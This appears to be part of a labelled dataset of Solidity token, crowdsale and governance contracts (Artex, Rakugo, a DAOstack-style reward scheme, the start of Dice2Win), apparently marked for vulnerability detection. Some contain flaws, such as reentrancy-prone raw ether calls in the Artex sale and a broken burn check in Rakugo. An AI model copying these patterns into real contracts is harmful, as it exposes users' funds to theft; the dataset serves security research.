parameters[paramsHash].voteApproveParams = _voteApproveParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return (keccak256(abi.encodePacked(_voteApproveParams, _intVote)));
}
function proposeContributionReward(
Avatar _avatar,
string memory _descriptionHash,
int256 _reputationChange,
uint[5] memory _rewards,
IERC20 _externalToken,
address payable _beneficiary
)
public
returns(bytes32)
{
validateProposalParams(_reputationChange, _rewards);
Parameters memory controllerParams = parameters[getParametersFromController(_avatar)];
bytes32 contributionId = controllerParams.intVote.propose(
2,
controllerParams.voteApproveParams,
msg.sender,
address(_avatar)
);
address payable beneficiary = _beneficiary;
if (beneficiary == address(0)) {
beneficiary = msg.sender;
}
ContributionProposal memory proposal = ContributionProposal({
nativeTokenReward: _rewards[0],
reputationChange: _reputationChange,
ethReward: _rewards[1],
externalToken: _externalToken,
externalTokenReward: _rewards[2],
beneficiary: beneficiary,
periodLength: _rewards[3],
numberOfPeriods: _rewards[4],
executionTime: 0,
redeemedPeriods:[uint(0), uint(0), uint(0), uint(0)]
});
organizationsProposals[address(_avatar)][contributionId] = proposal;
emit NewContributionProposal(
address(_avatar),
contributionId,
address(controllerParams.intVote),
_descriptionHash,
_reputationChange,
_rewards,
_externalToken,
beneficiary
);
proposalsInfo[address(controllerParams.intVote)][contributionId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return contributionId;
}
function redeemReputation(bytes32 _proposalId, Avatar _avatar) public returns(int256 reputation) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 0);
proposal.reputationChange = 0;
reputation = int(periodsToPay) * _proposal.reputationChange;
if (reputation > 0) {
require(
ControllerInterface(
_avatar.owner()).mintReputation(uint(reputation), _proposal.beneficiary, address(_avatar)));
} else if (reputation < 0) {
require(
ControllerInterface(
_avatar.owner()).burnReputation(uint(reputation*(-1)), _proposal.beneficiary, address(_avatar)));
}
if (reputation != 0) {
proposal.redeemedPeriods[0] = proposal.redeemedPeriods[0].add(periodsToPay);
emit RedeemReputation(address(_avatar), _proposalId, _proposal.beneficiary, reputation);
}
proposal.reputationChange = _proposal.reputationChange;
}
function redeemNativeToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 1);
proposal.nativeTokenReward = 0;
amount = periodsToPay.mul(_proposal.nativeTokenReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).mintTokens(amount, _proposal.beneficiary, address(_avatar)));
proposal.redeemedPeriods[1] = proposal.redeemedPeriods[1].add(periodsToPay);
emit RedeemNativeToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.nativeTokenReward = _proposal.nativeTokenReward;
}
function redeemEther(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 2);
proposal.ethReward = 0;
amount = periodsToPay.mul(_proposal.ethReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).sendEther(amount, _proposal.beneficiary, _avatar));
proposal.redeemedPeriods[2] = proposal.redeemedPeriods[2].add(periodsToPay);
emit RedeemEther(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.ethReward = _proposal.ethReward;
}
function redeemExternalToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 3);
proposal.externalTokenReward = 0;
if (proposal.externalToken != IERC20(0) && _proposal.externalTokenReward > 0) {
amount = periodsToPay.mul(_proposal.externalTokenReward);
if (amount > 0) {
require(
ControllerInterface(
_avatar.owner())
.externalTokenTransfer(_proposal.externalToken, _proposal.beneficiary, amount, _avatar));
proposal.redeemedPeriods[3] = proposal.redeemedPeriods[3].add(periodsToPay);
emit RedeemExternalToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
}
proposal.externalTokenReward = _proposal.externalTokenReward;
}
function redeem(bytes32 _proposalId, Avatar _avatar, bool[4] memory _whatToRedeem)
public
returns(int256 reputationReward, uint256 nativeTokenReward, uint256 etherReward, uint256 externalTokenReward)
{
if (_whatToRedeem[0]) {
reputationReward = redeemReputation(_proposalId, _avatar);
}
if (_whatToRedeem[1]) {
nativeTokenReward = redeemNativeToken(_proposalId, _avatar);
}
if (_whatToRedeem[2]) {
etherReward = redeemEther(_proposalId, _avatar);
}
if (_whatToRedeem[3]) {
externalTokenReward = redeemExternalToken(_proposalId, _avatar);
}
}
function getPeriodsToPay(bytes32 _proposalId, address _avatar, uint256 _redeemType) public view returns (uint256) {
require(_redeemType <= 3, "should be in the redeemedPeriods range");
ContributionProposal memory _proposal = organizationsProposals[_avatar][_proposalId];
if (_proposal.executionTime == 0)
return 0;
uint256 periodsFromExecution;
if (_proposal.periodLength > 0) {
periodsFromExecution = (now.sub(_proposal.executionTime))/(_proposal.periodLength);
}
uint256 periodsToPay;
if ((_proposal.periodLength == 0) || (periodsFromExecution >= _proposal.numberOfPeriods)) {
periodsToPay = _proposal.numberOfPeriods.sub(_proposal.redeemedPeriods[_redeemType]);
} else {
periodsToPay = periodsFromExecution.sub(_proposal.redeemedPeriods[_redeemType]);
}
return periodsToPay;
}
function getRedeemedPeriods(bytes32 _proposalId, address _avatar, uint256 _redeemType)
public
view
returns (uint256) {
return organizationsProposals[_avatar][_proposalId].redeemedPeriods[_redeemType];
}
function getProposalEthReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].ethReward;
}
function getProposalExternalTokenReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].externalTokenReward;
}
function getProposalExternalToken(bytes32 _proposalId, address _avatar) public view returns (address) {
return address(organizationsProposals[_avatar][_proposalId].externalToken);
}
function getProposalExecutionTime(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].executionTime;
}
function validateProposalParams(int256 _reputationChange, uint[5] memory _rewards) private pure {
require(((_rewards[3] > 0) || (_rewards[4] == 1)), "periodLength equal 0 require numberOfPeriods to be 1");
if (_rewards[4] > 0) {
require(!(int(_rewards[4]) == -1 && _reputationChange == (-2**255)),
"numberOfPeriods * _reputationChange will overflow");
require((int(_rewards[4]) * _reputationChange) / int(_rewards[4]) == _reputationChange,
"numberOfPeriods * reputationChange will overflow");
require((_rewards[4] * _rewards[0]) / _rewards[4] == _rewards[0],
"numberOfPeriods * tokenReward will overflow");
require((_rewards[4] * _rewards[1]) / _rewards[4] == _rewards[1],
"numberOfPeriods * ethReward will overflow");
require((_rewards[4] * _rewards[2]) / _rewards[4] == _rewards[2],
"numberOfPeriods * texternalTokenReward will overflow");
}
}
} | 0 | 103 |
pragma solidity ^ 0.4.13;
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract PreArtexToken {
function balanceOf(address _owner) constant returns(uint256 balance);
mapping(address => uint) public deposits;
uint public tokenPriceUSDWEI;
}
contract Owned {
address public owner;
address public newOwner;
address public oracle;
address public btcOracle;
function Owned() payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
modifier onlyOwnerOrOracle {
require(owner == msg.sender || oracle == msg.sender);
_;
}
modifier onlyOwnerOrBtcOracle {
require(owner == msg.sender || btcOracle == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner external {
require(_owner != 0);
newOwner = _owner;
}
function confirmOwner() external {
require(newOwner == msg.sender);
owner = newOwner;
delete newOwner;
}
function changeOracle(address _oracle) onlyOwner external {
require(_oracle != 0);
oracle = _oracle;
}
function changeBtcOracle(address _btcOracle) onlyOwner external {
require(_btcOracle != 0);
btcOracle = _btcOracle;
}
}
contract KnownContract {
function transfered(address _sender, uint256 _value, bytes32[] _data) external;
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns(uint);
function transfer(address to, uint value);
function allowance(address owner, address spender) constant returns(uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract Stateful {
enum State {
Initial,
PreSale,
WaitingForSale,
Sale,
CrowdsaleCompleted,
SaleFailed
}
State public state = State.Initial;
event StateChanged(State oldState, State newState);
function setState(State newState) internal {
State oldState = state;
state = newState;
StateChanged(oldState, newState);
}
}
contract Crowdsale is Owned, Stateful {
uint public etherPriceUSDWEI;
address public beneficiary;
uint public totalLimitUSDWEI;
uint public minimalSuccessUSDWEI;
uint public collectedUSDWEI;
uint public crowdsaleStartTime;
uint public crowdsaleFinishTime;
struct Investor {
uint amountTokens;
uint amountWei;
}
struct BtcDeposit {
uint amountBTCWEI;
uint btcPriceUSDWEI;
address investor;
}
mapping(bytes32 => BtcDeposit) public btcDeposits;
mapping(address => Investor) public investors;
mapping(uint => address) public investorsIter;
uint public numberOfInvestors;
mapping(uint => address) public investorsToWithdrawIter;
uint public numberOfInvestorsToWithdraw;
function Crowdsale() payable Owned() {}
function emitTokens(address _investor, uint _tokenPriceUSDWEI, uint _usdwei) internal returns(uint tokensToEmit);
function emitAdditionalTokens() internal;
function burnTokens(address _address, uint _amount) internal;
function() payable crowdsaleState limitNotExceeded crowdsaleNotFinished {
uint valueWEI = msg.value;
uint valueUSDWEI = valueWEI * etherPriceUSDWEI / 1 ether;
uint tokenPriceUSDWEI = getTokenPriceUSDWEI();
if (collectedUSDWEI + valueUSDWEI > totalLimitUSDWEI) {
valueUSDWEI = totalLimitUSDWEI - collectedUSDWEI;
valueWEI = valueUSDWEI * 1 ether / etherPriceUSDWEI;
uint weiToReturn = msg.value - valueWEI;
bool isSent = msg.sender.call.gas(3000000).value(weiToReturn)();
require(isSent);
collectedUSDWEI = totalLimitUSDWEI;
} else {
collectedUSDWEI += valueUSDWEI;
}
emitTokensFor(msg.sender, tokenPriceUSDWEI, valueUSDWEI, valueWEI);
}
function depositUSD(address _to, uint _amountUSDWEI) external onlyOwner crowdsaleState limitNotExceeded crowdsaleNotFinished {
uint tokenPriceUSDWEI = getTokenPriceUSDWEI();
collectedUSDWEI += _amountUSDWEI;
emitTokensFor(_to, tokenPriceUSDWEI, _amountUSDWEI, 0);
}
function depositBTC(address _to, uint _amountBTCWEI, uint _btcPriceUSDWEI, bytes32 _btcTxId) external onlyOwnerOrBtcOracle crowdsaleState limitNotExceeded crowdsaleNotFinished {
uint valueUSDWEI = _amountBTCWEI * _btcPriceUSDWEI / 1 ether;
uint tokenPriceUSDWEI = getTokenPriceUSDWEI();
BtcDeposit storage btcDep = btcDeposits[_btcTxId];
require(btcDep.amountBTCWEI == 0);
btcDep.amountBTCWEI = _amountBTCWEI;
btcDep.btcPriceUSDWEI = _btcPriceUSDWEI;
btcDep.investor = _to;
collectedUSDWEI += valueUSDWEI;
emitTokensFor(_to, tokenPriceUSDWEI, valueUSDWEI, 0);
}
function emitTokensFor(address _investor, uint _tokenPriceUSDWEI, uint _valueUSDWEI, uint _valueWEI) internal {
var emittedTokens = emitTokens(_investor, _tokenPriceUSDWEI, _valueUSDWEI);
Investor storage inv = investors[_investor];
if (inv.amountTokens == 0) {
investorsIter[numberOfInvestors++] = _investor;
}
inv.amountTokens += emittedTokens;
if (state == State.Sale) {
inv.amountWei += _valueWEI;
}
}
function getTokenPriceUSDWEI() internal returns(uint tokenPriceUSDWEI) {
tokenPriceUSDWEI = 0;
if (state == State.PreSale) {
tokenPriceUSDWEI = 76923076923076900;
}
if (state == State.Sale) {
if (now < crowdsaleStartTime + 1 days) {
tokenPriceUSDWEI = 86956521730000000;
} else if (now < crowdsaleStartTime + 1 weeks) {
tokenPriceUSDWEI = 90909090900000000;
} else if (now < crowdsaleStartTime + 2 weeks) {
tokenPriceUSDWEI = 95238095230000000;
} else {
tokenPriceUSDWEI = 100000000000000000;
}
}
}
function startPreSale(
address _beneficiary,
uint _etherPriceUSDWEI,
uint _totalLimitUSDWEI,
uint _crowdsaleDurationDays) external onlyOwner {
require(state == State.Initial);
crowdsaleStartTime = now;
beneficiary = _beneficiary;
etherPriceUSDWEI = _etherPriceUSDWEI;
totalLimitUSDWEI = _totalLimitUSDWEI;
crowdsaleFinishTime = now + _crowdsaleDurationDays * 1 days;
collectedUSDWEI = 0;
setState(State.PreSale);
}
function finishPreSale() public onlyOwner {
require(state == State.PreSale);
bool isSent = beneficiary.call.gas(3000000).value(this.balance)();
require(isSent);
setState(State.WaitingForSale);
}
function startSale(
address _beneficiary,
uint _etherPriceUSDWEI,
uint _totalLimitUSDWEI,
uint _crowdsaleDurationDays,
uint _minimalSuccessUSDWEI) external onlyOwner {
require(state == State.WaitingForSale);
crowdsaleStartTime = now;
beneficiary = _beneficiary;
etherPriceUSDWEI = _etherPriceUSDWEI;
totalLimitUSDWEI = _totalLimitUSDWEI;
crowdsaleFinishTime = now + _crowdsaleDurationDays * 1 days;
minimalSuccessUSDWEI = _minimalSuccessUSDWEI;
collectedUSDWEI = 0;
setState(State.Sale);
}
function failSale(uint _investorsToProcess) public {
require(state == State.Sale);
require(now >= crowdsaleFinishTime && collectedUSDWEI < minimalSuccessUSDWEI);
while (_investorsToProcess > 0 && numberOfInvestors > 0) {
address addr = investorsIter[--numberOfInvestors];
Investor memory inv = investors[addr];
burnTokens(addr, inv.amountTokens);
--_investorsToProcess;
delete investorsIter[numberOfInvestors];
investorsToWithdrawIter[numberOfInvestorsToWithdraw] = addr;
numberOfInvestorsToWithdraw++;
}
if (numberOfInvestors > 0) {
return;
}
setState(State.SaleFailed);
}
function completeSale(uint _investorsToProcess) public onlyOwner {
require(state == State.Sale);
require(collectedUSDWEI >= minimalSuccessUSDWEI);
while (_investorsToProcess > 0 && numberOfInvestors > 0) {
--numberOfInvestors;
--_investorsToProcess;
delete investors[investorsIter[numberOfInvestors]];
delete investorsIter[numberOfInvestors];
}
if (numberOfInvestors > 0) {
return;
}
emitAdditionalTokens();
bool isSent = beneficiary.call.gas(3000000).value(this.balance)();
require(isSent);
setState(State.CrowdsaleCompleted);
}
function setEtherPriceUSDWEI(uint _etherPriceUSDWEI) external onlyOwnerOrOracle {
etherPriceUSDWEI = _etherPriceUSDWEI;
}
function setBeneficiary(address _beneficiary) external onlyOwner() {
require(_beneficiary != 0);
beneficiary = _beneficiary;
}
function withdrawBack() external saleFailedState {
returnInvestmentsToInternal(msg.sender);
}
function returnInvestments(uint _investorsToProcess) public saleFailedState {
while (_investorsToProcess > 0 && numberOfInvestorsToWithdraw > 0) {
address addr = investorsToWithdrawIter[--numberOfInvestorsToWithdraw];
delete investorsToWithdrawIter[numberOfInvestorsToWithdraw];
--_investorsToProcess;
returnInvestmentsToInternal(addr);
}
}
function returnInvestmentsTo(address _to) public saleFailedState {
returnInvestmentsToInternal(_to);
}
function returnInvestmentsToInternal(address _to) internal {
Investor memory inv = investors[_to];
uint value = inv.amountWei;
if (value > 0) {
delete investors[_to];
require(_to.call.gas(3000000).value(value)());
}
}
function withdrawFunds(uint _value) public onlyOwner {
require(state == State.PreSale || (state == State.Sale && collectedUSDWEI > minimalSuccessUSDWEI));
if (_value == 0) {
_value = this.balance;
}
bool isSent = beneficiary.call.gas(3000000).value(_value)();
require(isSent);
}
modifier crowdsaleNotFinished {
require(now < crowdsaleFinishTime);
_;
}
modifier limitNotExceeded {
require(collectedUSDWEI < totalLimitUSDWEI);
_;
}
modifier crowdsaleState {
require(state == State.PreSale || state == State.Sale);
_;
}
modifier saleFailedState {
require(state == State.SaleFailed);
_;
}
modifier completedSaleState {
require(state == State.CrowdsaleCompleted);
_;
}
}
contract Token is Crowdsale, ERC20 {
mapping(address => uint) internal balances;
mapping(address => mapping(address => uint)) public allowed;
uint8 public constant decimals = 8;
function Token() payable Crowdsale() {}
function balanceOf(address who) constant returns(uint) {
return balances[who];
}
function transfer(address _to, uint _value) public completedSaleState onlyPayloadSize(2 * 32) {
require(balances[msg.sender] >= _value);
require(balances[_to] + _value >= balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public completedSaleState onlyPayloadSize(3 * 32) {
require(balances[_from] >= _value);
require(balances[_to] + _value >= balances[_to]);
require(allowed[_from][msg.sender] >= _value);
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public completedSaleState {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant completedSaleState returns(uint remaining) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
}
contract MigratableToken is Token {
function MigratableToken() payable Token() {}
address public migrationAgent;
uint public totalMigrated;
address public migrationHost;
mapping(address => bool) migratedInvestors;
event Migrated(address indexed from, address indexed to, uint value);
function setMigrationHost(address _address) external onlyOwner {
require(_address != 0);
migrationHost = _address;
}
function migrateInvestorFromHost(address _address) external onlyOwner {
require(migrationHost != 0 &&
state != State.SaleFailed &&
etherPriceUSDWEI != 0 &&
migratedInvestors[_address] == false);
PreArtexToken preArtex = PreArtexToken(migrationHost);
uint tokensDecimals = preArtex.balanceOf(_address);
require(tokensDecimals > 0);
uint depositWEI = preArtex.deposits(_address);
uint preArtexTokenPriceUSDWEI = preArtex.tokenPriceUSDWEI();
uint tokensToTransfer = 0;
if (tokensDecimals != 0 && depositWEI == 0) {
tokensToTransfer = tokensDecimals * 140 / 130;
} else {
var preArtexEtherPriceUSDWEI = ((tokensDecimals * preArtexTokenPriceUSDWEI * 1 ether) / (depositWEI * (10 ** uint(decimals))));
if (etherPriceUSDWEI > preArtexEtherPriceUSDWEI) {
tokensToTransfer = (tokensDecimals * etherPriceUSDWEI * 140) / (preArtexEtherPriceUSDWEI * 130);
} else {
tokensToTransfer = tokensDecimals * 140 / 130;
}
}
balances[_address] = tokensToTransfer;
totalSupply += tokensToTransfer;
migratedInvestors[_address] = true;
if (state != State.CrowdsaleCompleted) {
Investor storage inv = investors[_address];
investorsIter[numberOfInvestors++] = _address;
inv.amountTokens += tokensToTransfer;
}
Transfer(this, _address, tokensToTransfer);
}
function migrate() external {
require(migrationAgent != 0);
uint value = balances[msg.sender];
balances[msg.sender] -= value;
Transfer(msg.sender, this, value);
totalSupply -= value;
totalMigrated += value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, value);
Migrated(msg.sender, migrationAgent, value);
}
function setMigrationAgent(address _agent) external onlyOwner {
require(migrationAgent == 0);
migrationAgent = _agent;
}
}
contract ArtexToken is MigratableToken {
string public constant symbol = "ART";
string public constant name = "Artex Token";
mapping(address => bool) public allowedContracts;
function ArtexToken() payable MigratableToken() {}
function emitTokens(address _investor, uint _tokenPriceUSDWEI, uint _valueUSDWEI) internal returns(uint tokensToEmit) {
tokensToEmit = (_valueUSDWEI * (10 ** uint(decimals))) / _tokenPriceUSDWEI;
require(balances[_investor] + tokensToEmit > balances[_investor]);
require(tokensToEmit > 0);
balances[_investor] += tokensToEmit;
totalSupply += tokensToEmit;
Transfer(this, _investor, tokensToEmit);
}
function emitAdditionalTokens() internal {
uint tokensToEmit = totalSupply * 100 / 74 - totalSupply;
require(balances[beneficiary] + tokensToEmit > balances[beneficiary]);
require(tokensToEmit > 0);
balances[beneficiary] += tokensToEmit;
totalSupply += tokensToEmit;
Transfer(this, beneficiary, tokensToEmit);
}
function burnTokens(address _address, uint _amount) internal {
balances[_address] -= _amount;
totalSupply -= _amount;
Transfer(_address, this, _amount);
}
function addAllowedContract(address _address) external onlyOwner {
require(_address != 0);
allowedContracts[_address] = true;
}
function removeAllowedContract(address _address) external onlyOwner {
require(_address != 0);
delete allowedContracts[_address];
}
function transferToKnownContract(address _to, uint256 _value, bytes32[] _data) external onlyAllowedContracts(_to) {
var knownContract = KnownContract(_to);
transfer(_to, _value);
knownContract.transfered(msg.sender, _value, _data);
}
modifier onlyAllowedContracts(address _address) {
require(allowedContracts[_address] == true);
_;
}
} | 1 | 3,187 |
pragma solidity ^0.4.15;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract LimitedTransferToken is ERC20 {
modifier canTransfer(address _sender, uint256 _value) {
require(_value <= transferableTokens(_sender, uint64(now)));
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferableTokens(address holder, uint64 time) constant public returns (uint256) {
return balanceOf(holder);
}
}
contract RakugoToken is MintableToken, LimitedTransferToken {
event Burn(address indexed burner, uint indexed value);
string public constant symbol = "RKT";
string public constant name = "Rakugo Seed Token";
uint8 public constant decimals = 18;
function transferableTokens(address holder, uint64 time) constant public returns (uint256) {
require(mintingFinished);
return balanceOf(holder);
}
function burn(uint _value) canTransfer(msg.sender, _value) public {
require(_value > 0);
require(_value >= balanceOf(burner));
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startBlock;
uint256 public endBlock;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startBlock, uint256 _endBlock, uint256 _rate, address _wallet) {
require(_startBlock >= block.number);
require(_endBlock >= _startBlock);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startBlock = _startBlock;
endBlock = _endBlock;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock && current <= endBlock;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return block.number > endBlock;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RakugoPresale is CappedCrowdsale {
mapping(address => uint) private balances;
function RakugoPresale(uint256 _startBlock, uint256 _endBlock, uint256 _rate, address _wallet)
CappedCrowdsale(5000 ether)
Crowdsale(_startBlock, _endBlock, _rate, _wallet){
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
balances[msg.sender] = balances[msg.sender].add(tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract RakugoCrowdsale is Crowdsale, CappedCrowdsale, FinalizableCrowdsale {
address public rakugoPresaleAddress;
uint256 public rate = 1200;
uint256 public companyTokens = 16000000 ether;
function RakugoCrowdsale(
uint256 _startBlock,
uint256 _endBlock,
address _wallet,
address _presaleAddress,
address[] _presales
)
CappedCrowdsale(19951 ether)
FinalizableCrowdsale()
Crowdsale(_startBlock, _endBlock, rate, _wallet) {
rakugoPresaleAddress = _presaleAddress;
initializeCompanyTokens(companyTokens);
presalePurchase(_presales, _presaleAddress);
}
function createTokenContract() internal returns (MintableToken) {
return new RakugoToken();
}
function initializeCompanyTokens(uint256 _companyTokens) internal {
contribute(wallet, wallet, 0, _companyTokens);
}
function presalePurchase(address[] presales, address _presaleAddress) internal {
RakugoPresale rakugoPresale = RakugoPresale(_presaleAddress);
for (uint i = 0; i < presales.length; i++) {
address presalePurchaseAddress = presales[i];
uint256 contributionAmmount = 0;
uint256 presalePurchaseTokens = rakugoPresale.balanceOf(presalePurchaseAddress);
contribute(presalePurchaseAddress, presalePurchaseAddress, contributionAmmount, presalePurchaseTokens);
}
}
function contribute(address purchaser, address beneficiary, uint256 weiAmount, uint256 tokens){
token.mint(beneficiary, tokens);
TokenPurchase(purchaser, beneficiary, weiAmount, tokens);
}
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.finishMinting();
}
} | 1 | 4,369 |
pragma solidity ^0.4.23;
contract Dice2Win {
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
}
modifier onlyOwner {
